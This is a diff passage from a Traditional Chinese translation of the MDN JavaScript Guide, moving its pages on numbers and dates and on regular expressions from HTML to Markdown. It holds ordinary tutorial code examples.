// 2147483648 +var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040 +var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607 +``` + +### 八進制數值 + +八進制數值以 0 為開頭。如果 `0` 後面的數字超出 0 到 7 這個範圍,將會被解析成十進制數值。 + +```js +var n = 0755; // 493 +var m = 0644; // 420 +``` + +Strict mode in ECMAScript 5 forbids octal syntax. Octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: `0644 === 420` and`"\045" === "%"`. In ECMAScript 2015, octal numbers are supported if they are prefixed with `0o`, e.g.: + +```js +var a = 0o10; // ES2015: 8 +``` + +### 十六進制數值 + +十六進制數值以 0 為開頭並跟著一個大寫或小寫的英文字母 「X」(`0x` 或 `0X`)。如果 `0b` 後面接著的值超出範圍 (0123456789ABCDEF),那會丟出 [`SyntaxError(語法錯誤)`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError):"Identifier starts immediately after numeric literal"。 + +```js +0xFFFFFFFFFFFFFFFFF // 295147905179352830000 +0x123456789ABCDEF // 81985529216486900 +0XA // 10 +``` + +### 指數運算 + +```js +1E3 // 1000 +2e6 // 2000000 +0.1e2 // 10 +``` + +## `Number` 物件 + +The built-in {{jsxref("Number")}} object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows: + +```js +var biggestNum = Number.MAX_VALUE; +var smallestNum = Number.MIN_VALUE; +var infiniteNum = Number.POSITIVE_INFINITY; +var negInfiniteNum = Number.NEGATIVE_INFINITY; +var notANum = Number.NaN; +``` + +You always refer to a property of the predefined `Number` object as shown above, and not as a property of a `Number` object you create yourself. + +下面這張表格整理了 `Number` 物件的屬性 + +`Number` **的屬性** + +| 屬性 | 描述 | +| ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("Number.MAX_VALUE")}} | 可表示的最大數值 | +| {{jsxref("Number.MIN_VALUE")}} | 可表示的最小數值 | +| {{jsxref("Number.NaN")}} | 表示「非數值」(Not-A-Number)的數值 | +| {{jsxref("Number.NEGATIVE_INFINITY")}} | Special negative infinite value; returned on overflow | +| {{jsxref("Number.POSITIVE_INFINITY")}} | Special positive infinite value; returned on overflow | +| {{jsxref("Number.EPSILON")}} | Difference between one and the smallest value greater than one that can be represented as a {{jsxref("Number")}}. | +| {{jsxref("Number.MIN_SAFE_INTEGER")}} | 可以在 JavaScript 中安全表示的最小數值。 | +| {{jsxref("Number.MAX_SAFE_INTEGER")}} | 可以在 JavaScript 中安全表示的最大數值。 | + +| 方法 | 描述 | +| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("Number.parseFloat()")}} | 字串轉換成浮點數。 等同於全域函式 {{jsxref("parseFloat", "parseFloat()")}} 。 | +| {{jsxref("Number.parseInt()")}} | 以指定的基數將字串轉換成整數。 等同於全域函式 {{jsxref("parseInt", "parseInt()")}} 。 | +| {{jsxref("Number.isFinite()")}} | 判定給定的值是不是一個有限數。 | +| {{jsxref("Number.isInteger()")}} | 判定給定的值是不是一個整數 | +| {{jsxref("Number.isNaN()")}} | Determines whether the passed value is {{jsxref("Global_Objects/NaN", "NaN")}}. More robust version of the original global {{jsxref("Global_Objects/isNaN", "isNaN()")}}. | +| {{jsxref("Number.isSafeInteger()")}} | Determines whether the provided value is a number that is a _safe integer_. | + +The `Number` prototype provides methods for retrieving information from `Number` objects in various formats. The following table summarizes the methods of `Number.prototype`. + +| 方法 | 描述 | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------ | +| {{jsxref("Number.toExponential", "toExponential()")}} | Returns a string representing the number in exponential notation. | +| {{jsxref("Number.toFixed", "toFixed()")}} | Returns a string representing the number in fixed-point notation. | +| {{jsxref("Number.toPrecision", "toPrecision()")}} | Returns a string representing the number to a specified precision in fixed-point notation. | + +## `Math` 物件 + +The built-in {{jsxref("Math")}} object has properties and methods for mathematical constants and functions. For example, the `Math` object's `PI` property has the value of pi (3.141...), which you would use in an application as + +```js +Math.PI +``` + +Similarly, standard mathematical functions are methods of `Math`. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write + +```js +Math.sin(1.56) +``` + +Note that all trigonometric methods of `Math` take arguments in radians. + +The following table summarizes the `Math` object's methods. + +| 方法 | 描述 | +| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | +| {{jsxref("Math.abs", "abs()")}} | 絕對值 | +| {{jsxref("Math.sin", "sin()")}}, {{jsxref("Math.cos", "cos()")}}, {{jsxref("Math.tan", "tan()")}} | 三角函數; 引數以弳度表示 | +| {{jsxref("Math.asin", "asin()")}}, {{jsxref("Math.acos", "acos()")}}, {{jsxref("Math.atan", "atan()")}}, {{jsxref("Math.atan2", "atan2()")}} | 反三角函數; 回傳值以弳度表示 | +| {{jsxref("Math.sinh", "sinh()")}}, {{jsxref("Math.cosh", "cosh()")}}, {{jsxref("Math.tanh", "tanh()")}} | 雙曲函數; 引數以 hyperbolic angle 表示 | +| {{jsxref("Math.asinh", "asinh()")}}, {{jsxref("Math.acosh", "acosh()")}}, {{jsxref("Math.atanh", "atanh()")}} | 反雙曲函數; 回傳值以 hyperbolic angle 表示 | +| {{jsxref("Math.pow", "pow()")}}, {{jsxref("Math.exp", "exp()")}}, {{jsxref("Math.expm1", "expm1()")}}, {{jsxref("Math.log10", "log10()")}}, {{jsxref("Math.log1p", "log1p()")}}, {{jsxref("Math.log2", "log2()")}} | 指數及對數函式 | +| {{jsxref("Math.floor", "floor()")}}, {{jsxref("Math.ceil", "ceil()")}} | 回傳小於等於/大於等於指定數字的最大/最小整數 | +| {{jsxref("Math.min", "min()")}}, {{jsxref("Math.max", "max()")}} | Returns lesser or greater (respectively) of comma separated list of numbers arguments | +| {{jsxref("Math.random", "random()")}} | 回傳一個介於 0 到 1 之間的數值 | +| {{jsxref("Math.round", "round()")}}, {{jsxref("Math.fround", "fround()")}}, {{jsxref("Math.trunc", "trunc()")}}, | Rounding and truncation functions. | +| {{jsxref("Math.sqrt", "sqrt()")}}, {{jsxref("Math.cbrt", "cbrt()")}}, {{jsxref("Math.hypot", "hypot()")}} | Square root, cube root, Square root of the sum of square arguments. | +| {{jsxref("Math.sign", "sign()")}} | The sign of a number, indicating whether the number is positive, negative or zero. | +| {{jsxref("Math.clz32", "clz32()")}}, {{jsxref("Math.imul", "imul()")}} | Number of leading zero bits in the 32-bit binary representation. The result of the C-like 32-bit multiplication of the two arguments. | + +Unlike many other objects, you never create a `Math` object of your own. You always use the built-in `Math` object. + +## `Date` 物件 + +JavaScript 沒有所謂日期(date)的數據型態(data type)。你可以使用 {{jsxref("Date")}} 物件及其方法去設定日期跟時間來滿足你的需求 。`Date` 物件有大量的設定取得操作日期的方法(method),但它沒有屬性。 + +JavaScript 處理日期的方式跟 Java 類似。這兩個語言有許多一樣的 date 方法,且都將日期儲存為從 1970 年 1 月 1 號 0 時 0 分 0 秒以來的毫秒數(millisecond)。 + +`Date` 物件範圍是 -100,000,000 days to 100,000,000 days 以 1970 年 1 月 1 號 0 時 0 分 0 秒 UTC 為基準。 + +創建一個`Date`物件: + +```js +var dateObjectName = new Date([parameters]); +``` + +在這裡創建一個名為`dateObjectName` 的 `Date` 物件;它可以是一個新的物件或是某個以存在的物件當中的屬性。 + +Calling `Date` without the `new` keyword returns a string representing the current date and time. + +The `parameters` in the preceding syntax can be any of the following: + +- Nothing: creates today's date and time. For example, `today = new Date();`. +- A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, `var Xmas95 = new Date("December 25, 1995 13:30:00")`. If you omit hours, minutes, or seconds, the value will be set to zero. +- A set of integer values for year, month, and day. For example, `var Xmas95 = new Date(1995, 11, 25)`. +- A set of integer values for year, month, day, hour, minute, and seconds. For example, `var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);`. + +### `Date` 的方法 + +The `Date` object methods for handling dates and times fall into these broad categories: + +- "set" methods, for setting date and time values in `Date` objects. +- "get" methods, for getting date and time values from `Date` objects. +- "to" methods, for returning string values from `Date` objects. +- parse and UTC methods, for parsing `Date` strings. + +With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a `getDay` method that returns the day of the week, but no corresponding `setDay` method, because the day of the week is set automatically. These methods use integers to represent these values as follows: + +- Seconds and minutes: 0 到 59 +- Hours: 0 到 23 +- Day: 0 (星期日) 到 6 (星期六) +- Date: 1 到 31 (這個月的第幾天) +- Months: 0 (一月) 到 11 (十二月) +- Year: years since 1900 + +舉例,假設你定義了一個日期如下: + +```js +var Xmas95 = new Date('December 25, 1995'); +``` + +那 `Xmas95.getMonth()` 將會回傳 11, `Xmas95.getFullYear()` 會回傳 1995。 + +`getTime` 及 `setTime` 這兩個方法對於比較日期有幫助。 The `getTime` method returns the number of milliseconds since January 1, 1970, 00:00:00 for a `Date` object. + +For example, the following code displays the number of days left in the current year: + +```js +var today = new Date(); +var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month +endYear.setFullYear(today.getFullYear()); // Set year to this year +var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day +var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay; +var daysLeft = Math.round(daysLeft); //returns days left in the year +``` + +This example creates a `Date` object named `today` that contains today's date. It then creates a `Date` object named `endYear` and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between `today` and `endYear`, using `getTime` and rounding to a whole number of days. + +The `parse` method is useful for assigning values from date strings to existing `Date` objects. For example, the following code uses `parse` and `setTime` to assign a date value to the `IPOdate` object: + +```js +var IPOdate = new Date(); +IPOdate.setTime(Date.parse('Aug 9, 1995')); +``` + +### 範例 + +下面這個範例,`JSClock()` 這個函式將會以數位時鐘的格式回傳時間。 + +```js +function JSClock() { + var time = new Date(); + var hour = time.getHours(); + var minute = time.getMinutes(); + var second = time.getSeconds(); + var temp = '' + ((hour > 12) ? hour - 12 : hour); + if (hour == 0) + temp = '12'; + temp += ((minute < 10) ? ':0' : ':') + minute; + temp += ((second < 10) ? ':0' : ':') + second; + temp += (hour >= 12) ? ' P.M.' : ' A.M.'; + return temp; +} +``` + +`JSClock` 這個函式會先建立一個名為 `time` 的 `Date` 物件; 因為沒有提供任何引數,所以會放入目前的日期及時間。接著呼叫 `getHours` 、 `getMinutes` 以及 `getSeconds` 這三個方法將現在的時、分以及秒分別指定給 `hour` 、 `minute` 以及 `second` 這三個變數。 + +接著的四行指令將會建立一個時間的字串。第一行的指令建立了一個變數 `temp`,以條件運算式指定值; 如果 `hour` 大於 12,那就指定 (`hour - 12`),不然會直接指定 `hour`, 但如果 `hour` 等於 0 , 則改為 12。 + +接著下一行將 `minute` 加到 `temp` 中。如果 `minute` 小於 10, 則會在附加時補上一個零; 不然的話會直接加上冒號及分鐘數。秒數也是以同樣的作法附加到 `temp` 上。 + +最後,判斷 `hour` 是不是大於等於 12 ,如果是就在 `temp` 加上 "P.M." ,不然就加上 "A.M."。 + +{{PreviousNext("Web/JavaScript/Guide/Expressions_and_Operators", "Web/JavaScript/Guide/Text_formatting")}} diff --git a/files/zh-tw/web/javascript/guide/regular_expressions/index.html b/files/zh-tw/web/javascript/guide/regular_expressions/index.html deleted file mode 100644 index e9f3ac334e1579..00000000000000 --- a/files/zh-tw/web/javascript/guide/regular_expressions/index.html +++ /dev/null @@ -1,704 +0,0 @@ ---- -title: 正規表達式 -slug: Web/JavaScript/Guide/Regular_Expressions -tags: - - Guide - - JavaScript - - RegExp - - 正規表達式 -translation_of: Web/JavaScript/Guide/Regular_Expressions ---- -{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}
- -正規表達式是被用來匹配字串中字元組合的模式。在 JavaScript 中,正規表達式也是物件,這些模式在 {{jsxref("RegExp")}} 的 {{jsxref("RegExp.exec", "exec")}} 和 {{jsxref("RegExp.test", "test")}} 方法中,以及 {{jsxref("String")}} 的 {{jsxref("String.match", "match")}}、{{jsxref("String.replace", "replace")}}、{{jsxref("String.search", "search")}}、{{jsxref("String.split", "split")}} 等方法中被運用。這一章節將解說 JavaScript 中的正規表達式。
- -您可透過下列兩種方法去創建一條正規表達式:
- -使用正規表達式字面值(regular expression literal),包含兩個 /
字元之間的模式如下:
var re = /ab+c/; -- -
正規表達式字面值在 script 載入時會被編譯,當正規表達式為定值時,使用此方法可獲得較佳效能。
- -或呼叫 {{jsxref("RegExp")}} 物件的建構函式,如下:
- -var re = new RegExp('ab+c'); -- -
使用建構子函數供即時編譯正則表達式,當模式會異動、事先未知匹配模式、或者您將從其他地方取得時,使用建構子函數將較為合適。
- -正規表達模式由數個簡易字元組成,例如 /abc/
,或是由簡易字元及特殊符號組合而成,例如 /ab*c/
、/Chapter (\d+)\.\d*/ )
。最後一個範例用到了括號,這在正規表達式中用作記憶組,使用括號的匹配將會被留到後面使用,在使用帶括號的配對子字串有更多解釋。
簡易的模式是有你找到的直接匹配所構成的。比如:/abc/
這個模式就匹配了在一個字符串中,僅僅字符 'abc'
同時出現並按照這個順序。這兩個句子中「Hi, do you know your abc's?」和「The latest airplane designs evolved from slabcraft.」就會匹配成功。在上面的兩個實例中,匹配的是子字符串 'abc'。在字符串中的 "Grab crab"('ab c') 中將不會被匹配,因為它不包含任何的 'abc' 字符串。
當你需要搜尋一個比直接匹配需要更多條件的匹配,比如搜尋一或多個 'b',或者搜尋空格,那麼這個模式將要包含特殊字符。例如: 模式 /ab*c/
匹配了一個單獨的 'a' 後面跟了零或多個 'b'(* 的意思是前面一項出現了零或多個),且後面跟著 'c' 的任何字符組合。在字符串 "cbbabbbbcdebc" 中,這個模式匹配了子字符串 "abbbbc"。
下面的表格列出了在正則表達式中可以利用的特殊字符完整列表以及描述。
- -字元 | -解說 | -
---|---|
\ |
-
- 反斜線放在非特殊符號前面,使非特殊符號不會被逐字譯出,代表特殊作用。 |
-
^ |
-
- 匹配輸入的開頭,如果 multiline flag 被設為 true,則會匹配換行字元後。 - -例如: 「 |
-
$ |
-
- 匹配輸入的結尾,如果 multiline flag 被設為 true,則會匹配換行字元。 - -例如: |
-
* |
-
- 匹配前一字元 0 至多次。 例如: |
-
+ |
-
- 匹配前一字元 1 至多次,等同於 例如: |
-
? |
-
- 匹配前一字元 0 至 1 次,等同於 例如: 如果是使用在
|
-
. |
-
- (小數點)匹配除了換行符號之外的單一字元。 - -例如:/.n/ 匹配「nay, an apple is on the tree」中的 an 和 on,但在「nay」中沒有匹配。 - |
-
(x) |
-
- Capturing Parentheses - -匹配 'x' 並記住此次的匹配,如下面的範例所示。 - -在 正則表達示 /(foo) (bar) \1 \2/ 中的 (foo) 與 (bar) 可匹配了 "foo bar foo bar" 這段文字中的前兩個字,而 \1 與 \2 則匹配了後面的兩個字。注意, \1, \2, ..., \n 代表的就是前面的pattern,以本範例來說,/(foo) (bar) \1 \2/ 等同於 /(foo) (bar) (foo) (bar)/。 - -用於取代(replace)的話,則是用 $1, $2,...,$n。如 'bar boo'.replace(/(...) (...)/, '$2 $1'). |
-
(?:x) |
-
- Non-Capturing Parentheses - -找出 'x',這動作不會記憶 有無 有無 更多資訊詳見 Using parentheses 。 - |
-
x(?=y) |
-
- 符合'x',且後接的是'y'。'y'為'x'存在的意義。 |
-
x(?!y) |
-
- 符合'x',且後接的不是'y'。'y'為否定'x'存在的意義,後面不行前功盡棄(negated lookahead)。 |
-
x|y |
-
- 符合「x」或「y」。 - -舉例來說, |
-
{n} |
-
- 規定符號確切發生的次數,n為正整數 - -例如: |
-
{n,m} |
-
- 搜尋條件:n為至少、m為至多,其n、m皆為正整數。若把m設定為0,則為Invalid regular expression。 - -例如: |
-
[xyz] |
- 字元的集合。此格式會匹配中括號內所有字元, including escape sequences。特殊字元,例如點(. ) 和米字號(* ),在字元集合中不具特殊意義,所以不需轉換。若要設一個字元範圍的集合,可以使用橫線 "-" ,如下例所示:- - [a-d] 等同於 [abcd]。 會匹配 "brisket" 的 "b" 、"city" 的 'c' ……等。 而/[a-z.]+/ 和 /[\w.]+/ 均可匹配字串 "test.i.ng" 。 |
-
[^xyz] |
-
- bracket中寫入的字元將被否定,匹配非出現在bracket中的符號。
|
-
[\b] |
- 吻合倒退字元 (U+0008). (不會跟 \b 混淆) | -
\b |
-
- 吻合文字邊界。A word boundary matches the position where a word character is not followed or preceded by another word-character. Note that a matched word boundary is not included in the match. In other words, the length of a matched word boundary is zero. (Not to be confused with Examples: Note: JavaScript's regular expression engine defines a specific set of characters to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks. - |
-
\B |
-
- 吻合非文字邊界。This matches a position where the previous and next character are of the same type: Either both must be words, or both must be non-words. The beginning and end of a string are considered non-words. - -For example, |
-
\cX |
-
- Where X is a character ranging from A to Z. Matches a control character in a string. - -For example, |
-
\d |
-
- 吻合數字,寫法等同於 例如: |
-
\D |
-
- 吻合非數字,寫法等同於 例如: |
-
\f |
- Matches a form feed (U+000C). | -
\n |
- Matches a line feed (U+000A). | -
\r |
- Matches a carriage return (U+000D). | -
\s |
-
- Matches a single white space character, including space, tab, form feed, line feed. Equivalent to For example, |
-
\S |
-
- Matches a single character other than white space. Equivalent to For example, |
-
\t |
- Matches a tab (U+0009). | -
\v |
- Matches a vertical tab (U+000B). | -
\w |
-
- 包含數字字母與底線,等同於 例如: For example, |
-
\W |
-
- 包含"非"數字字母與底線,等同於 例如: For example, |
-
\n |
-
- 其中 n 是一個正整數,表示第 n 個括號中的子字串匹配(包含括號中的所有的字串匹配) - -例如: For example, |
-
\0 |
- Matches a NULL (U+0000) character. Do not follow this with another digit, because \0<digits> is an octal escape sequence. Instead use \x00 . |
-
\xhh |
- Matches the character with the code hh (two hexadecimal digits) | -
\uhhhh |
- Matches the character with the code hhhh (four hexadecimal digits). | -
Escaping user input that is to be treated as a literal string within a regular expression—that would otherwise be mistaken for a special character—can be accomplished by simple replacement:
- -function escapeRegExp(string) { - return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string -} -- -
The g after the regular expression is an option or flag that performs a global search, looking in the whole string and returning all matches. It is explained in detail below in Advanced Searching With Flags.
- -Parentheses around any part of the regular expression pattern causes that part of the matched substring to be remembered. Once remembered, the substring can be recalled for other use, as described in Using Parenthesized Substring Matches.
- -For example, the pattern /Chapter (\d+)\.\d*/
illustrates additional escaped and special characters and indicates that part of the pattern should be remembered. It matches precisely the characters 'Chapter ' followed by one or more numeric characters (\d
means any numeric character and +
means 1 or more times), followed by a decimal point (which in itself is a special character; preceding the decimal point with \ means the pattern must look for the literal character '.'), followed by any numeric character 0 or more times (\d
means numeric character, *
means 0 or more times). In addition, parentheses are used to remember the first matched numeric characters.
This pattern is found in "Open Chapter 4.3, paragraph 6" and '4' is remembered. The pattern is not found in "Chapter 3 and 4", because that string does not have a period after the '3'.
- -To match a substring without causing the matched part to be remembered, within the parentheses preface the pattern with ?:
. For example, (?:\d+)
matches one or more numeric characters but does not remember the matched characters.
Regular expressions are used with the RegExp
methods test
and exec
and with the String
methods match
, replace
, search
, and split
. These methods are explained in detail in the JavaScript reference.
Method | -Description | -
---|---|
{{jsxref("RegExp.exec", "exec")}} | -A RegExp method that executes a search for a match in a string. It returns an array of information or null on a mismatch. |
-
{{jsxref("RegExp.test", "test")}} | -A RegExp method that tests for a match in a string. It returns true or false. |
-
{{jsxref("String.match", "match")}} | -A String method that executes a search for a match in a string. It returns an array of information or null on a mismatch. |
-
{{jsxref("String.search", "search")}} | -A String method that tests for a match in a string. It returns the index of the match, or -1 if the search fails. |
-
{{jsxref("String.replace", "replace")}} | -A String method that executes a search for a match in a string, and replaces the matched substring with a replacement substring. |
-
{{jsxref("String.split", "split")}} | -A String method that uses a regular expression or a fixed string to break a string into an array of substrings. |
-
When you want to know whether a pattern is found in a string, use the test
or search
method; for more information (but slower execution) use the exec
or match
methods. If you use exec
or match
and if the match succeeds, these methods return an array and update properties of the associated regular expression object and also of the predefined regular expression object, RegExp
. If the match fails, the exec
method returns null
(which coerces to false
).
In the following example, the script uses the exec
method to find a match in a string.
var myRe = /d(b+)d/g; -var myArray = myRe.exec('cdbbdbsbz'); -- -
If you do not need to access the properties of the regular expression, an alternative way of creating myArray
is with this script:
var myArray = /d(b+)d/g.exec('cdbbdbsbz'); // similar to "cdbbdbsbz".match(/d(b+)d/g); however, - // the latter outputs Array [ "dbbd" ], while - // /d(b+)d/g.exec('cdbbdbsbz') outputs Array [ "dbbd", "bb" ]. - // See below for further info (CTRL+F "The behavior associated with the".)- -
If you want to construct the regular expression from a string, yet another alternative is this script:
- -var myRe = new RegExp('d(b+)d', 'g'); -var myArray = myRe.exec('cdbbdbsbz'); -- -
With these scripts, the match succeeds and returns the array and updates the properties shown in the following table.
- -物件 | -Property or index | -說明 | -範例 | -
---|---|---|---|
myArray |
- - | The matched string and all remembered substrings. | -['dbbd', 'bb', index: 1, input: 'cdbbdbsbz'] |
-
index |
- The 0-based index of the match in the input string. | -1 |
- |
input |
- The original string. | -"cdbbdbsbz" |
- |
[0] |
- The last matched characters. | -"dbbd" |
- |
myRe |
- lastIndex |
- The index at which to start the next match. (This property is set only if the regular expression uses the g option, described in Advanced Searching With Flags.) | -5 |
-
source |
- The text of the pattern. Updated at the time that the regular expression is created, not executed. | -"d(b+)d" |
-
As shown in the second form of this example, you can use a regular expression created with an object initializer without assigning it to a variable. If you do, however, every occurrence is a new regular expression. For this reason, if you use this form without assigning it to a variable, you cannot subsequently access the properties of that regular expression. For example, assume you have this script:
- -var myRe = /d(b+)d/g; -var myArray = myRe.exec('cdbbdbsbz'); -console.log('The value of lastIndex is ' + myRe.lastIndex); - -// "The value of lastIndex is 5" -- -
However, if you have this script:
- -var myArray = /d(b+)d/g.exec('cdbbdbsbz'); -console.log('The value of lastIndex is ' + /d(b+)d/g.lastIndex); - -// "The value of lastIndex is 0" -- -
The occurrences of /d(b+)d/g
in the two statements are different regular expression objects and hence have different values for their lastIndex
property. If you need to access the properties of a regular expression created with an object initializer, you should first assign it to a variable.
Including parentheses in a regular expression pattern causes the corresponding submatch to be remembered. For example, /a(b)c/
matches the characters 'abc' and remembers 'b'. To recall these parenthesized substring matches, use the Array
elements [1]
, ..., [n]
.
The number of possible parenthesized substrings is unlimited. The returned array holds all that were found. The following examples illustrate how to use parenthesized substring matches.
- -下面這個 script 以 {{jsxref("String.replace", "replace()")}} 方法移轉字串位置。對於要被置換的文字內容,以 $1
和 $2
來代表先前 re 這個變數裡面,找出來綑綁且照順序來表示兩個子字串。
var re = /(\w+)\s(\w+)/; -var str = 'John Smith'; -var newstr = str.replace(re, '$2, $1'); -console.log(newstr); - -// "Smith, John" -- -
Regular expressions have five optional flags that allow for global and case insensitive searching. These flags can be used separately or together in any order, and are included as part of the regular expression.
- -Flag | -Description | -
---|---|
g |
- Global search. | -
i | -Case-insensitive search. | -
m | -Multi-line search. | -
u | -unicode; treat a pattern as a sequence of unicode code points | -
y | -Perform a "sticky" search that matches starting at the current position in the target string. See {{jsxref("RegExp.sticky", "sticky")}} | -
To include a flag with the regular expression, use this syntax:
- -var re = /pattern/flags; -- -
or
- -var re = new RegExp('pattern', 'flags'); -- -
Note that the flags are an integral part of a regular expression. They cannot be added or removed later.
- -For example, re = /\w+\s/g
creates a regular expression that looks for one or more characters followed by a space, and it looks for this combination throughout the string.
var re = /\w+\s/g; -var str = 'fee fi fo fum'; -var myArray = str.match(re); -console.log(myArray); - -// ["fee ", "fi ", "fo "] -- -
You could replace the line:
- -var re = /\w+\s/g; -- -
with:
- -var re = new RegExp('\\w+\\s', 'g'); -- -
and get the same result.
- -The behavior associated with the 'g
' flag is different when the .exec()
method is used. (The roles of "class" and "argument" get reversed: In the case of .match()
, the string class (or data type) owns the method and the regular expression is just an argument, while in the case of .exec()
, it is the regular expression that owns the method, with the string being the argument. Contrast str.match(re)
versus re.exec(str)
.) The 'g
' flag is used with the .exec()
method to get iterative progression.
var xArray; while(xArray = re.exec(str)) console.log(xArray); -// produces: -// ["fee ", index: 0, input: "fee fi fo fum"] -// ["fi ", index: 4, input: "fee fi fo fum"] -// ["fo ", index: 7, input: "fee fi fo fum"]- -
The m
flag is used to specify that a multiline input string should be treated as multiple lines. If the m
flag is used, ^
and $
match at the start or end of any line within the input string instead of the start or end of the entire string.
The following examples show some uses of regular expressions.
- -The following example illustrates the formation of regular expressions and the use of string.split()
and string.replace()
. It cleans a roughly formatted input string containing names (first name last) separated by blanks, tabs and exactly one semicolon. Finally, it reverses the name order (last name first) and sorts the list.
// The name string contains multiple spaces and tabs, -// and may have multiple spaces between first and last names. -var names = 'Orange Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand '; - -var output = ['---------- Original String\n', names + '\n']; - -// Prepare two regular expression patterns and array storage. -// Split the string into array elements. - -// pattern: possible white space then semicolon then possible white space -var pattern = /\s*;\s*/; - -// Break the string into pieces separated by the pattern above and -// store the pieces in an array called nameList -var nameList = names.split(pattern); - -// new pattern: one or more characters then spaces then characters. -// Use parentheses to "memorize" portions of the pattern. -// The memorized portions are referred to later. -pattern = /(\w+)\s+(\w+)/; - -// Below is the new array for holding names being processed. -var bySurnameList = []; - -// Display the name array and populate the new array -// with comma-separated names, last first. -// -// The replace method removes anything matching the pattern -// and replaces it with the memorized string—the second memorized portion -// followed by a comma, a space and the first memorized portion. -// -// The variables $1 and $2 refer to the portions -// memorized while matching the pattern. - -output.push('---------- After Split by Regular Expression'); - -var i, len; -for (i = 0, len = nameList.length; i < len; i++) { - output.push(nameList[i]); - bySurnameList[i] = nameList[i].replace(pattern, '$2, $1'); -} - -// Display the new array. -output.push('---------- Names Reversed'); -for (i = 0, len = bySurnameList.length; i < len; i++) { - output.push(bySurnameList[i]); -} - -// Sort by last name, then display the sorted array. -bySurnameList.sort(); -output.push('---------- Sorted'); -for (i = 0, len = bySurnameList.length; i < len; i++) { - output.push(bySurnameList[i]); -} - -output.push('---------- End'); - -console.log(output.join('\n')); -- -
In the following example, the user is expected to enter a phone number. When the user presses the "Check" button, the script checks the validity of the number. If the number is valid (matches the character sequence specified by the regular expression), the script shows a message thanking the user and confirming the number. If the number is invalid, the script informs the user that the phone number is not valid.
- -Within non-capturing parentheses (?:
, the regular expression looks for three numeric characters \d{3}
OR |
a left parenthesis \(
followed by three digits \d{3}
, followed by a close parenthesis \)
, (end non-capturing parenthesis )
), followed by one dash, forward slash, or decimal point and when found, remember the character ([-\/\.])
, followed by three digits \d{3}
, followed by the remembered match of a dash, forward slash, or decimal point \1
, followed by four digits \d{4}
.
The Change
event activated when the user presses Enter sets the value of RegExp.input
.
<!DOCTYPE html> -<html> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <meta http-equiv="Content-Script-Type" content="text/javascript"> - <script type="text/javascript"> - var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/; - function testInfo(phoneInput) { - var OK = re.exec(phoneInput.value); - if (!OK) - window.alert(phoneInput.value + ' isn\'t a phone number with area code!'); - else - window.alert('Thanks, your phone number is ' + OK[0]); - } - </script> - </head> - <body> - <p>Enter your phone number (with area code) and then click "Check". - <br>The expected format is like ###-###-####.</p> - <form action="#"> - <input id="phone"><button onclick="testInfo(document.getElementById('phone'));">Check</button> - </form> - </body> -</html> -- -
{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}
diff --git a/files/zh-tw/web/javascript/guide/regular_expressions/index.md b/files/zh-tw/web/javascript/guide/regular_expressions/index.md new file mode 100644 index 00000000000000..44843740456fda --- /dev/null +++ b/files/zh-tw/web/javascript/guide/regular_expressions/index.md @@ -0,0 +1,409 @@ +--- +title: 正規表達式 +slug: Web/JavaScript/Guide/Regular_Expressions +tags: + - Guide + - JavaScript + - RegExp + - 正規表達式 +translation_of: Web/JavaScript/Guide/Regular_Expressions +--- +{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}} + +正規表達式是被用來匹配字串中字元組合的模式。在 JavaScript 中,正規表達式也是物件,這些模式在 {{jsxref("RegExp")}} 的 {{jsxref("RegExp.exec", "exec")}} 和 {{jsxref("RegExp.test", "test")}} 方法中,以及 {{jsxref("String")}} 的 {{jsxref("String.match", "match")}}、{{jsxref("String.replace", "replace")}}、{{jsxref("String.search", "search")}}、{{jsxref("String.split", "split")}} 等方法中被運用。這一章節將解說 JavaScript 中的正規表達式。 + +## 建立正規表達式 + +您可透過下列兩種方法去創建一條正規表達式: + +使用正規表達式字面值(regular expression literal),包含兩個 `/` 字元之間的模式如下: + +```plain +var re = /ab+c/; +``` + +正規表達式字面值在 script 載入時會被編譯,當正規表達式為定值時,使用此方法可獲得較佳效能。 + +或呼叫 {{jsxref("RegExp")}} 物件的建構函式,如下: + +```plain +var re = new RegExp('ab+c'); +``` + +使用建構子函數供即時編譯正則表達式,當模式會異動、事先未知匹配模式、或者您將從其他地方取得時,使用建構子函數將較為合適。 + +## 撰寫正規表達模式 + +正規表達模式由數個簡易字元組成,例如 `/abc/`,或是由簡易字元及特殊符號組合而成,例如 `/ab*c/`、`/Chapter (\d+)\.\d*/ )`。最後一個範例用到了括號,這在正規表達式中用作記憶組,使用括號的匹配將會被留到後面使用,在[使用帶括號的配對子字串](#Using_Parenthesized_Substring_Matches)有更多解釋。 + +### 使用簡易模式 + 